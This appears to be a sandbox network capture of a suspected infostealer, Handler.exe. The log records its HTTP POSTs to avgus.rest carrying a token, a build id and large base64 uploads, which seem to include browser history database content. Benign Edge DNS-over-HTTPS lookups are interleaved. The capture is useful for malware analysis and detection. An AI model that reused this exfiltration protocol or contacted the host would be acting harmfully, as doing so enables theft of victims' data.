2025-01-13 19:18:25 UTC	275	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1djeu3wbsrqiw4wlx4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: avgus.rest Content-Length: 493 Connection: Keep-Alive Cache-Control: no-cache
2025-01-13 19:18:25 UTC	493	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 64 6a 65 75 33 77 62 73 72 71 69 77 34 77 6c 78 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 62 62 33 62 62 37 39 34 64 64 35 35 36 36 31 63 31 31 33 32 63 37 61 65 37 62 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 64 62 31 64 6a 65 75 33 77 62 73 72 71 69 77 34 77 6c 78 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 64 62 31 64 6a 65 75 33 77 62 73 72 71 69 77 34 77 6c 78 34 0d 0a 43 6f 6e 74 Data Ascii: ------db1djeu3wbsrqiw4wlx4Content-Disposition: form-data; name="token"f8dbb3bb794dd55661c1132c7ae7b7e6------db1djeu3wbsrqiw4wlx4Content-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------db1djeu3wbsrqiw4wlx4Cont
2025-01-13 19:18:26 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 13 Jan 2025 19:18:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-13 19:18:26 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49822	116.203.11.8	443	5532	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:31 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----dtjmy5fkxba1n7ym79zm User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: avgus.rest Content-Length: 3165 Connection: Keep-Alive Cache-Control: no-cache
2025-01-13 19:18:31 UTC	3165	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 74 6a 6d 79 35 66 6b 78 62 61 31 6e 37 79 6d 37 39 7a 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 62 62 33 62 62 37 39 34 64 64 35 35 36 36 31 63 31 31 33 32 63 37 61 65 37 62 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 64 74 6a 6d 79 35 66 6b 78 62 61 31 6e 37 79 6d 37 39 7a 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 64 74 6a 6d 79 35 66 6b 78 62 61 31 6e 37 79 6d 37 39 7a 6d 0d 0a 43 6f 6e 74 Data Ascii: ------dtjmy5fkxba1n7ym79zmContent-Disposition: form-data; name="token"f8dbb3bb794dd55661c1132c7ae7b7e6------dtjmy5fkxba1n7ym79zmContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------dtjmy5fkxba1n7ym79zmCont
2025-01-13 19:18:32 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 13 Jan 2025 19:18:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-13 19:18:32 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49836	116.203.11.8	443	5532	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:32 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----myuaas2dbas2vasr9hva User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: avgus.rest Content-Length: 207993 Connection: Keep-Alive Cache-Control: no-cache
2025-01-13 19:18:32 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 6d 79 75 61 61 73 32 64 62 61 73 32 76 61 73 72 39 68 76 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 64 62 62 33 62 62 37 39 34 64 64 35 35 36 36 31 63 31 31 33 32 63 37 61 65 37 62 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 6d 79 75 61 61 73 32 64 62 61 73 32 76 61 73 72 39 68 76 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 6d 79 75 61 61 73 32 64 62 61 73 32 76 61 73 72 39 68 76 61 0d 0a 43 6f 6e 74 Data Ascii: ------myuaas2dbas2vasr9hvaContent-Disposition: form-data; name="token"f8dbb3bb794dd55661c1132c7ae7b7e6------myuaas2dbas2vasr9hvaContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------myuaas2dbas2vasr9hvaCont
2025-01-13 19:18:32 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:32 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:32 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:32 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:32 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:32 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:32 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:32 UTC	16355	OUT	Data Raw: 4d 54 43 6c 51 42 41 59 58 4b 79 73 42 57 58 52 68 59 6d 78 6c 63 33 46 73 61 58 52 6c 58 33 4e 6c 63 58 56 6c 62 6d 4e 6c 63 33 46 73 61 58 52 6c 58 33 4e 6c 63 58 56 6c 62 6d 4e 6c 42 55 4e 53 52 55 46 55 52 53 42 55 51 55 4a 4d 52 53 42 7a 63 57 78 70 64 47 56 66 63 32 56 78 64 57 56 75 59 32 55 6f 62 6d 46 74 5a 53 78 7a 5a 58 45 70 67 58 38 44 42 78 63 56 46 51 47 44 59 58 52 68 59 6d 78 6c 64 58 4a 73 63 33 56 79 62 48 4d 45 51 31 4a 46 51 56 52 46 49 46 52 42 51 6b 78 46 49 48 56 79 62 48 4d 6f 61 57 51 67 53 55 35 55 52 55 64 46 55 69 42 51 55 6b 6c 4e 51 56 4a 5a 49 45 74 46 57 53 42 42 56 56 52 50 53 55 35 44 55 6b 56 4e 52 55 35 55 4c 48 56 79 62 43 42 4d 54 30 35 48 56 6b 46 53 51 30 68 42 55 69 78 30 61 58 52 73 5a 53 42 4d 54 30 35 48 56 6b Data Ascii: MTClQBAYXKysBWXRhYmxlc3FsaXRlX3NlcXVlbmNlc3FsaXRlX3NlcXVlbmNlBUNSRUFURSBUQUJMRSBzcWxpdGVfc2VxdWVuY2UobmFtZSxzZXEpgX8DBxcVFQGDYXRhYmxldXJsc3VybHMEQ1JFQVRFIFRBQkxFIHVybHMoaWQgSU5URUdFUiBQUklNQVJZIEtFWSBBVVRPSU5DUkVNRU5ULHVybCBMT05HVkFSQ0hBUix0aXRsZSBMT05HVk
2025-01-13 19:18:32 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-13 19:18:34 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 13 Jan 2025 19:18:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49847	172.64.41.3	443	7792	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:33 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-13 19:18:33 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2025-01-13 19:18:33 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 13 Jan 2025 19:18:33 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 9017bb99fde04263-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 19:18:33 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 28 00 04 8e fb 28 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom(()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49848	162.159.61.3	443	7792	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:33 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-13 19:18:33 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2025-01-13 19:18:33 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 13 Jan 2025 19:18:33 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 9017bb9a0b3542eb-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 19:18:33 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 09 00 04 8e fa 48 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomHc)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49849	172.64.41.3	443	7792	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:33 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-13 19:18:33 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2025-01-13 19:18:33 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 13 Jan 2025 19:18:33 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 9017bb99fe87435e-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 19:18:33 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 2c 00 04 8e fb 28 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom,()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49857	116.203.11.8	443	5532	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 19:18:34 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----g4wln7gvsr9hv3ekxb1d User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: avgus.rest Content-Length: 68733 Connection: Keep-Alive Cache-Control: no-cache
